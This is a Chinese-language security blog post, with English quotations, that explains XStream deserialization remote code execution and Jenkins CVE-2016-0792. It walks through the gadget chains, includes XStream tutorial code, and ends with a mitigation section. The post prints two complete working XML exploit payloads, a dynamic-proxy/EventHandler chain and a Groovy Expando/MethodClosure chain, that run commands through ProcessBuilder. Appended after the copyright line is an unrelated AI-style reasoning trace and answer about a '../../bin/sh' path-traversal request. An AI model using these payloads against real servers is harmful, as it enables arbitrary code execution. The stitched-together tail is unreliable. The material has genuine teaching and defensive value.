RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Cod...

catalogue

1. Java xStream
2. DynamicProxyConverter
3. java.beans.EventHandler
4. RCE via XStream object deserialization
5. Standard way to serialize and deserialize Objects with XStream 
6. SECURITY-247 / CVE-2016-0792
7. What to do about it 

 

0. 利用方式跟踪

目前为止,已知有两个触发方式

xstream底层锅,上层触发方式有两种
1. sort-map: proxy代理拦截执行
String payload =
"<sorted-set>" +
    "<string>littlehann</string>" + 
    "<dynamic-proxy>" +
    "<interface>java.lang.Comparable</interface>" + 
    "<handler class=\"java.beans.EventHandler\">" + 
        " <target class=\"java.lang.ProcessBuilder\">" +
        " <command>" +
            " <string>notepad.exe</string>" +
        " </command>" +
        " </target>" +
        " <action>start</action>" +
    "</handler>" +
    "</dynamic-proxy>" +
"</sorted-set>"

2. grovy闭包执行重载hashCode
String payload =
"<map>" +
"  <entry>" +
"    <groovy.util.Expando>" +
"      <expandoProperties>" +
"        <entry>" +
"          <string>hashCode</string>" +
"          <org.codehaus.groovy.runtime.MethodClosure>" +
"            <delegate class=\"groovy.util.Expando\" reference=\"../../../..\"/>" +
"            <owner class=\"java.lang.ProcessBuilder\">" +
"              <command>" +
"                <string>notepad.exe</string>" +
"              </command>" +
"              <redirectErrorStream>false</redirectErrorStream>" +
"            </owner>" +
"            <resolveStrategy>0</resolveStrategy>" +
"            <directive>0</directive>" +
"            <parameterTypes/>" +
"            <maximumNumberOfParameters>0</maximumNumberOfParameters>" +
"            <method>start</method>" +
"          </org.codehaus.groovy.runtime.MethodClosure>" +
"        </entry>" +
"      </expandoProperties>" +
"    </groovy.util.Expando>" +
"    <int>1</int>" +
"  </entry>" +
"</map>"

Relevant Link:

http://www.freebuf.com/vuls/97659.html
https://github.com/CaledoniaProject/jenkins-cli-exploit

 

1. Java xStream

xStream可以轻易的将Java对象和xml文档相互转换,而且可以修改某个特定的属性和节点名称,而且也支持json的转换。xStream不仅对XML的转换非常友好,而且提供annotation注解,可以在JavaBean中完成对xml节点、属性的描述。以及对JSON也支持,只需要提供相关的JSONDriver就可以完成转换

0x1: 安装测试

package com.littlehann; /**
 * Created by zhenghan.zh on 2016/2/26.
 */
import com.littlehann.Person;
import com.littlehann.PhoneNumber;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver;
import com.thoughtworks.xstream.io.json.JsonWriter;

public class XStreamTest {
    public static void main(String args[]) {
        //Initializing XStream
        XStream xstream = new XStream();
        xstream.alias("person", Person.class);
        xstream.alias("phonenumber", PhoneNumber.class);

        //Serializing an object to XML
        Person joe = new Person("Joe", "Walnes", new PhoneNumber(123, "1234-456"), new PhoneNumber(123, "9999-999"));
        //convert it to XML
        String xml = xstream.toXML(joe);
        System.out.println(xml);

        //Deserializing an object back from XML
        //Person newJoe = (Person)xstream.fromXML(xml);
        //System.out.println(newJoe.getFirstname());
        //System.out.println(newJoe.getLastname());
    }
}

0x2: Simple Converter

The core of XStream consists of a registry of Converters. The responsibility of a Converter is to provide a strategy for converting particular types of objects found in the object graph, to and from XML.
XStream is provided with Converters for common types such as primitives, String, File, Collections, arrays, and Dates.

1. Setting up a simple example

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
public class Person {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

create a person and convert it to XML

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public class PersonTest {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("Guilherme");

        XStream xStream = new XStream(new DomDriver());
        System.out.println(xStream.toXML(person));
    }

}

2. Creating a PersonConverter

package com.littlehann;

import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
public class ConverterTest implements Converter {
    public boolean canConvert(Class clazz) {
        return clazz.equals(Person.class);
    }

    //The marshal method is responsible for translating an object to XML.
    public void marshal(Object value, HierarchicalStreamWriter writer,
                        MarshallingContext context) {
        //start casting the object to person
        Person person = (Person) value;
        // start creating a node called fullname and adding the person's name to it
        writer.startNode("fullname");
        //conversion usually takes place when calling the setValue method.
        writer.setValue(person.getName());
        writer.endNode();
    }

    public Object unmarshal(HierarchicalStreamReader reader,
                            UnmarshallingContext context) {
        Person person = new Person();
        reader.moveDown();
        person.setName(reader.getValue());
        reader.moveUp();
        return person;
    }
}

register our converter and see how our application main method looks like:

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public class PersonTest {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("Guilherme");

        XStream xStream = new XStream(new DomDriver());
        //simple call to registerConverter:
        xStream.registerConverter(new ConverterTest());
        xStream.alias("person", Person.class);
        System.out.println(xStream.toXML(person));
    }

}

3. Date Converter

create a simple calendar converter which uses the locale to convert the information.
Our converter will receive the Locale in its constructor and we will keep a reference to it in a member variable

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.Locale;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public class DateTest {

    public static void main(String[] args) {

        // grabs the current date from the virtual machine
        Calendar calendar = new GregorianCalendar();

        // creates the xstream
        XStream xStream = new XStream(new DomDriver());

        // brazilian portuguese locale
        xStream.registerConverter(new DateConverter(new Locale("pt", "br")));

        // prints the result
        System.out.println(xStream.toXML(calendar));

    }

}

DateConverter.java

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
import java.util.Locale;

import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
import com.thoughtworks.xstream.converters.ConversionException;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;

import java.text.DateFormat;
import java.text.ParseException;

public class DateConverter implements Converter {

    private Locale locale;

    public DateConverter(Locale locale) {
        super();
        this.locale = locale;
    }

    public boolean canConvert(Class clazz) {
        return Calendar.class.isAssignableFrom(clazz);
    }

    public void marshal(Object value, HierarchicalStreamWriter writer,
                        MarshallingContext context) {
        Calendar calendar = (Calendar) value;

        // grabs the date
        Date date = calendar.getTime();

        // grabs the formatter
        DateFormat formatter = DateFormat.getDateInstance(DateFormat.FULL,
                this.locale);

        // formats and sets the value
        writer.setValue(formatter.format(date));
    }

    public Object unmarshal(HierarchicalStreamReader reader,
                            UnmarshallingContext context) {
        // creates the calendar
        GregorianCalendar calendar = new GregorianCalendar();

        // grabs the converter
        DateFormat formatter = DateFormat.getDateInstance(DateFormat.FULL,
                this.locale);

        // parses the string and sets the time
        try {
            calendar.setTime(formatter.parse(reader.getValue()));
        } catch (ParseException e) {
            throw new ConversionException(e.getMessage(), e);
        }

        // returns the new object
        return calendar;
    }

}

XStream在掉用fromXML解析XML流的时候,会递归地逐层进行解析,并根据节点名称将对应的节点实例化为对应的变量

XStream原生就支持多种Converter转换接口,但是如果我们希望实现自定义的数据类型以及自定义的转换逻辑,我们需要自己实现类以及对应的Converter接口

Relevant Link:

http://x-stream.github.io/download.html
http://x-stream.github.io/tutorial.html
http://www.cnblogs.com/hoojo/archive/2011/04/22/2025197.html
http://x-stream.github.io/converter-tutorial.html
http://x-stream.github.io/converters.html

 

2. DynamicProxyConverter
com.thoughtworks.xstream.converters.extended.DynamicProxyConverter

Converts a dynamic proxy to XML, storing the implemented interfaces and handler.

DynamicProxyConverter是一个比较特殊的转换类,它本身不进行XML反序列化,它只是一个实现接口,而实际的反序列化工作由InvocationHandler指定的对象完成

Relevant Link:

https://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.html
https://searchcode.com/codesearch/view/11375053

 

3. java.beans.EventHandler

The EventHandler class provides support for dynamically generating event listeners whose methods execute a simple statement involving an incoming event object and a target object.
The EventHandler class is intended to be used by interactive tools, such as application builders, that allow developers to make connections between beans. Typically connections are made from a user interface bean (the event source) to an application logic bean (the target).

0x1: Examples of Using EventHandler

EventHandler.create(ActionListener.class, target, "doActionEvent", "")

Relevant Link:

http://www.programcreek.com/java-api-examples/index.php?api=java.beans.EventHandler
https://docs.oracle.com/javase/7/docs/api/java/beans/EventHandler.html

 

4. RCE via XStream object deserialization

Xstream is not just a simple marshalling library as JAXB but a much more powerful serializing library capable of serializing to an XML representation really complex types and not just POJOs

DynamicProxyConverter: Any dynamic proxy generated by java.lang.reflect.Proxy
<dynamic-proxy>
    <interface>com.foo.Blah</interface>
    <interface>com.foo.Woo</interface>
    <handler class="com.foo.MyHandler">
        <something>blah</something>
    </handler>
</dynamic-proxy>    
The dynamic proxy itself is not serialized, however the interfaces it implements and the actual InvocationHandler instance are serialized. This allows the proxy to be reconstructed after deserialization.

This allow us to send an XML representation of a dynimic proxy where the InvocationHandler will be XStream serialized. The XML representation will look something like:

<dynamic-proxy>
  <interface>com.foo.Blah</interface>
  <interface>com.foo.Woo</interface>
  <handler class="com.foo.MyHandler">
    <something>blah</something>
  </handler>
</dynamic-proxy>

dynamic proxy is a way to intercept any call to an interface declared method so that when the method is invoked on the proxified interface we can hook the method call and inject any custom code

Jenkins has several API endpoints that allow low-privilege users to POST XML files that then get deserialized by Jenkins. Maliciously crafted XML files sent to these API endpoints could result in arbitrary code execution.
XStream是一个著名的反序列化的库,用途广泛,XStream可以用在JIRA, Confluence, Bamboo,甚至是Spring和Struts中

0x1: POC

1. Find out what Class the XML will be deserialized to (in this case com.company.model.Contact) String payload = "<sorted-set>" + "<string>littlehann</string>" + //2. Create a proxy for that class "<dynamic-proxy>" + "<interface>java.lang.Comparable</interface>" + //3. EventHandler\: Intercept/hook any call to any method in the interface "<handler class=\"java.beans.EventHandler\">" + //4. Replace the original call with the malicious payload " <target class=\"java.lang.ProcessBuilder\">" + " <command>" + " <string>notepad.exe</string>" + " </command>" + " </target>" + " <action>start</action>" + "</handler>" + "</dynamic-proxy>" + "</sorted-set>" //5. Send the serialized version of the proxy Contact expl = (Contact) xstream.fromXML(payload);

总结流程

1. serialize an object that contains other objects and that in order to instantiate this object
//传入一个可以被XStream解析的序列化字符串

2. a call to an interface method has to be made. This is where we will be able to inject our malicious code using an InvocationHandler.
//使用dynamic proxy converter,这使得我们可以通过InvocationHandler拦截原本XStream在解析过程中的函数调用

3. serializing a java.util.TreeSet containg different objects implementing the java.lang.Comparable interface 
//为了兼容Sort-set,需要实现ava.lang.Comparable接口

4. when the Set is instantiated when fromXML, the Comparable interface methods are called to sort the Set
5. All we have to do now is to add a dynamic proxy intercepting any method call to the Comparable interface and replacing it with our payload
Set<Comparable> set = new TreeSet<Comparable>();  
set.add("foo");  
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("notepad.exe","testfile"), "start"));

5. 通过java.beans.EventHandler拦截sort函数调用事件
6. java.beans.EventHandler的target被指定为java.lang.ProcessBuilder,XStream解析过程中当触发sort的时候实际上调用了java.lang.ProcessBuilder.start

Relevant Link:

https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-02-24
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-1-kryo
https://github.com/pwntester/XStreamPOC/blob/master/src/main/java/com/pwntester/xstreampoc/Main.java
http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/
http://x-stream.github.io/converters.html
https://github.com/pwntester/XStreamPOC

 

5. Standard way to serialize and deserialize Objects with XStream 

0x1: Some important rules

1. Use only POJO class to generate XML or JSON.
2. Use one single class XMLGenerator.java to generate All XML or objects.
3. Use one single class JSONGenerator.java to generate All JSON or objects.
4. Whenever you want to generate XML or JSON or Object you should be able to generate by single line of code.
5. If you want to build web service then you should be careful when using XStream and don't feed it XML retrieved from untrusted sources. 

0x2: Prepare Pojo Classes

Square.java

package com.littlehann;
import com.thoughtworks.xstream.annotations.XStreamAlias;

@XStreamAlias("square")
public class Square {
    @XStreamAlias("size")
    int size;

    public int getSize() {
        return size;
    }

    public void setSize(int size) {
        this.size = size;
    } 
}

Rectangle.java

package com.littlehann;

import com.thoughtworks.xstream.annotations.XStreamAlias;

@XStreamAlias("rectangle")
public class Rectangle {
    @XStreamAlias("width")
    int width;
    @XStreamAlias("height")
    int height;

    public int getWidth() {
        return width;
    }

    public void setWidth(int width) {
        this.width = width;
    }

    public int getHeight() {
        return height;
    }

    public void setHeight(int width) {
        this.height = height;
    }
}

0x3: XMLGenerator.java: A common class for XML conversion

package com.littlehann;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public final class XMLGenerator {
    /*
    * this class is for generating XML
    */

    /*
     * initialization of XStream class
     */
    private static XStream xstream = new XStream(new DomDriver())
    {{
        processAnnotations(Square.class);
        processAnnotations(Rectangle.class);
    }};

    /*
     * This class is for generating XML from MODEL class
     * @param Object
     * @return String
     */
    public static String generateXML(Object to) {
        return null == to ? "" : xstream.toXML(to);
    }

    /*
     * Generates the transfer object from the given XML using XStream.
     *
     * @param String
     * @return transfer object
     */
    public static Object generateTOfromXML(String xml) {
        return xstream.fromXML(xml);
    }
}

0x4: Usage 

package com.littlehann;

import java.io.IOException;

/**
 * Created by zhenghan.zh on 2016/2/27.
 */
public class Usage {
    public static void main(String[] args) throws IOException{
        //Convert Object to XML
        Square sq = new Square();
        sq.setSize(5);
        String resultXML = XMLGenerator.generateXML(sq);
        System.out.println(resultXML);

        //Convert XML to Object
        Square sq1 = (Square)XMLGenerator.generateTOfromXML(resultXML);
        System.out.println("size: " + sq1.getSize());
    }
}

Relevant Link:

http://blog.sodhanalibrary.com/2013/12/standard-way-to-serialize-and.html#.VtDsWnqEDUE

 

6. SECURITY-247 / CVE-2016-0792 

0x1: POC

<map> 
  <entry> 
    <groovy.util.Expando> 
      <expandoProperties> 
        <entry> 
          <!--这里是告诉Expando计算hashCode的时候使用我们的闭包方法--!> 
          <string>hashCode</string> 
          <org.codehaus.groovy.runtime.MethodClosure> 
            <delegate class="groovy.util.Expando" reference="../../../.."/> 
            <!--执行打开计算器的操作(当然也可以是别的!)--!> 
            <owner class="java.lang.ProcessBuilder"> 
              <command> 
                <string>open</string> 
                <string>/Applications/Calculator.app</string> 
              </command> 
              <redirectErrorStream>false</redirectErrorStream> 
            </owner> 
            <resolveStrategy>0</resolveStrategy> 
            <directive>0</directive> 
            <parameterTypes/> 
            <maximumNumberOfParameters>0</maximumNumberOfParameters> 
            <method>start</method> 
          </org.codehaus.groovy.runtime.MethodClosure> 
        </entry> 
      </expandoProperties> 
    </groovy.util.Expando> 
    <int>1</int> 
  </entry> 
</map>

0x2: 原理分析

The root node in the exploit XML is <map>,和PHP的反序列化一样,Java XStream会在当前代码空间中寻找对应的类名,即对象重建,代码逻辑在MapConverter.java中

public Object More ...unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    Map map = (Map) createCollection(context.getRequiredType());
    populateMap(reader, context, map);
    return map;
}

下断点调试: com.thoughtworks.xstream.converters.collections.MapConverter

the default type for <map> is java.util.HashMap, XStream creates one that it will populate with the entries the user supplies. The entries are assumed to be the direct child elements of <map>

protected void populateMap(..., Map map) {
  while (reader.hasMoreChildren()) {
    reader.moveDown();

    reader.moveDown();
    Object key = readItem(reader, context, map);
    reader.moveUp();

    reader.moveDown();
    Object value = readItem(reader, context, map);
    reader.moveUp();

    map.put(key, value);

    reader.moveUp();
  }
}

the user controlled key and value variables read in, and then put into the HashMap. So, let’s look at the HashMap#put() method:

public V put(K key, V value) {
   if (key == null)
     return putForNullKey(value);
     int hash = hash(key.hashCode());
  ...
}

so as part of the Map#put() call, XStream is indirectly causing key.hashCode() to be called,This is our entry point. If we can repurpose the hashCode() method of some type to do something malicious, we’ll win.

\groovy-all-2.3.9.jar!\groovy\util\Expando.class

MethodClosure对应的闭包被直接调用执行,并返回执行结果,由于ProcessBuilder的返回值是一个ProcessBuilderImpl对象,所以在赋值过程中出现Exception错误
这和《RCE via XStream object deserialization》里提出使用dynamic proxy、EventHandler拦截sort-set的自动sort()回调调用本质上思想是一致的,都是在XStream进行对象重建过程中,通过拦截对应类型的callback(对Map来说是hashCode(),对Sort-set来说是sort())实现恶意代码注入

groovy.util.Expando

It has an intriguing hashCode() implementation

public int hashCode() {
  Object method = getProperties().get("hashCode");
  if (method != null && method instanceof Closure) {
    // invoke overridden hashCode closure method
    Closure closure = (Closure) method;
    closure.setDelegate(this);
    Integer ret = (Integer) closure.call();
    return ret.intValue();
  } else {
    return super.hashCode();
  }
}

if the Expando has a Closure that’s supposed to figure out the hash code, the Expando will call that Closure and return its output. All we have to do is supply a Closure to use(MethodClosure),A MethodClosure is a wrapper that calls an arbitrary class and method name

1. MapConverter#populateMap() calls HashMap#put()
2. HashMap#put() calls Expando#hashCode() //calback automate
3. Expando#hashCode() calls MethodClosure#call()
4. MethodClosure#call() calls MethodClosure#doCall()
5. MethodClosure#doCall() calls InvokerHelper#invokeMethod()
6. InvokerHelper#invokeMethod() calls ProcessBuilder#start() 

Relevant Link:

http://zone.wooyun.org/content/25551
http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream

 

7. What to do about it

1. Register a standard priority converter for the beans you are expecting in your application
2. Register a catch-all converter with higher priority than the reflection ones (low priority) and make the converter to return null on its unmarshall method so any object deserialized by the catch-all converter, will throw an exception and interrupt the converter chain before hitting the Reflection converters.

ContactConverter.java

import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;

public class CatchAllConverter implements Converter {

    public boolean canConvert(Class clazz) {
        return true;
    }

    public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
    }

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        return null;
    }

}

before deserializing our untrusted input we have to register our new converters

XStream xstream = new XStream(new DomDriver());  
xstream.processAnnotations(Contact.class);  
xstream.registerConverter(new ContactConverter());  
xstream.registerConverter(new CatchAllConverter(), XStream.PRIORITY_VERY_LOW);  

 

Copyright (c) 2016 LittleHann All rights reserved

 

转载于:https://www.cnblogs.com/LittleHann/p/5220308.html

<think>好的,我现在需要处理用户提供的这个路径:/cgi-bin/../../../../../../../../../../bin/sh。首先,我应该先理解这个路径的结构以及它的潜在用途或安全风险。 用户可能是想知道这个路径的含义,或者为什么有人会构造这样的路径。这个路径看起来像是在利用目录遍历(Directory Traversal)漏洞。让我先分解一下这个路径。 路径开头是/cgi-bin/,接着是一系列的../,然后是/bin/sh。正常情况下,每个../会返回到上一级目录。我需要计算一下有多少个../,看看最终会指向哪里。 数一下,从/cgi-bin/开始,后面有10个../。每个../向上退一级,所以从/cgi-bin/开始,假设cgi-bin位于某个web服务器的根目录下,比如/var/www/html/cgi-bin,那么每退一级就会到上一目录。例如,第一次../到/var/www/html,第二次到/var/www,依此类推。10个../的话,应该会退到根目录的上层吗?不过实际上,在Unix系统中,根目录是/,再往上的../还是根目录自己。所以,假设cgi-bin位于根目录下的某个位置,比如/www/cgi-bin,那么使用多个../可能会返回到根目录,然后继续../并不会改变目录。所以,不管有多少个../,最终都会停在根目录。 不过这个路径拼接后,可能变成/bin/sh。因为在根目录下,存在/bin/sh这个文件,也就是Bourne shell的路径。如果某个web应用程序在处理路径时没有正确过滤用户输入的../,攻击者可能会通过构造这样的路径来执行系统命令,比如通过CGI脚本调用/bin/sh,从而获得shell访问权限。这可能导致远程代码执行(RCE)漏洞。 例如,如果一个CGI脚本允许用户通过参数指定要执行的脚本,而攻击者通过路径遍历跳转到/bin/sh,并执行任意命令,这就是一个严重的安全问题。比如,如果URL类似http://example.com/cgi-bin/script.pl?command=../../../bin/sh,而script.pl没有正确验证参数,可能会执行sh,进而执行攻击者提供的命令。 所以,这个路径可能被用来尝试利用目录遍历漏洞,执行系统shell,进而控制服务器。需要确保Web应用程序正确处理用户输入,过滤../等特殊字符,或者使用安全的API来防止路径遍历。 不过,我还需要确认自己的分析是否正确。比如,处理路径时,不同的服务器或编程语言如何处理多个../?比如,在Apache服务器中,如果配置不当,这样的路径可能导致访问到/bin/sh,但通常默认配置会有安全限制。不过如果CGI脚本本身有漏洞,比如调用system()函数时拼接了用户输入的路径而没有检查,就可能出现问题。 另外,用户可能是在测试系统的安全性,或者学习相关的安全漏洞。因此,在回答时,除了解释路径结构外,还需要强调安全实践,比如输入验证、权限最小化原则等。 总结一下,这个路径可能用于目录遍历攻击,试图访问系统的shell,从而执行任意命令。防御措施包括对用户输入进行规范化检查,过滤非法字符,使用绝对路径而不是拼接用户输入等。</think>你提到的路径 `/cgi-bin/../../../../../../../../../../bin/sh` 是一个典型的目录遍历(Path Traversal)示例,通常与安全漏洞利用相关。以下是详细分析: --- ### 1. **路径分解** - **`/cgi-bin/`**:通常指向 Web 服务器中存放 CGI(公共网关接口)脚本的目录,例如 `/var/www/cgi-bin`。 - **多个`../`**:每个 `../` 表示返回上一级目录。路径中连续使用多个 `../` 会尝试“跳出”当前目录,最终可能到达文件系统的根目录 `/`。 - **`/bin/sh`**:Unix/Linux 系统中的 Bourne Shell 可执行文件路径。 --- ### 2. **路径解析结果** 假设 Web 服务器的根目录为 `/var/www`: - 初始路径:`/var/www/cgi-bin/`(对应 `/cgi-bin/`)。 - 经过多次 `../` 跳转后: - 前 2 个 `../` 到达 `/var/www`。 - 后续 `../` 会继续向上跳出,但由于根目录 `/` 无法被跳出,多余的 `../` 会被忽略。 - 最终解析路径可能为 `/bin/sh`(从根目录直接访问)。 --- ### 3. **潜在安全风险** 这种路径构造常用于尝试利用 **目录遍历漏洞**(CWE-22),攻击者可能意图: 1. **执行系统命令**:通过 CGI 脚本调用 `/bin/sh`,在服务器上执行任意命令。 2. **读取敏感文件**:例如 `/etc/passwd`(需替换路径末尾为敏感文件)。 3. **远程代码执行(RCE)**:结合其他漏洞(如参数注入)控制服务器。 --- ### 4. **漏洞利用场景** 假设存在一个未严格验证输入的 CGI 脚本(如 `vulnerable.cgi`),攻击者可能构造以下请求: ```plaintext GET /cgi-bin/vulnerable.cgi?file=../../../../../../../../../bin/sh HTTP/1.1 ``` 若脚本直接拼接用户输入到系统命令中(如 `system($file)`),可能导致执行 Shell。 --- ### 5. **防御措施** - **输入验证**:过滤用户输入中的 `../`、空字节等特殊字符。 - **路径规范化**:使用编程语言的 `realpath()` 或 `normalize-path` 函数解析绝对路径。 - **最小权限原则**:Web 服务器进程应以低权限用户运行,限制其对系统文件的访问。 - **安全配置**:禁用不必要的 CGI 脚本,配置 Web 服务器禁止目录遍历。 --- ### 6. **总结** 该路径的构造揭示了潜在的安全威胁。开发中需严格遵循安全编码规范,避免因路径拼接或未验证输入导致漏洞。对于系统管理员,定期进行安全审计和漏洞扫描至关重要。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值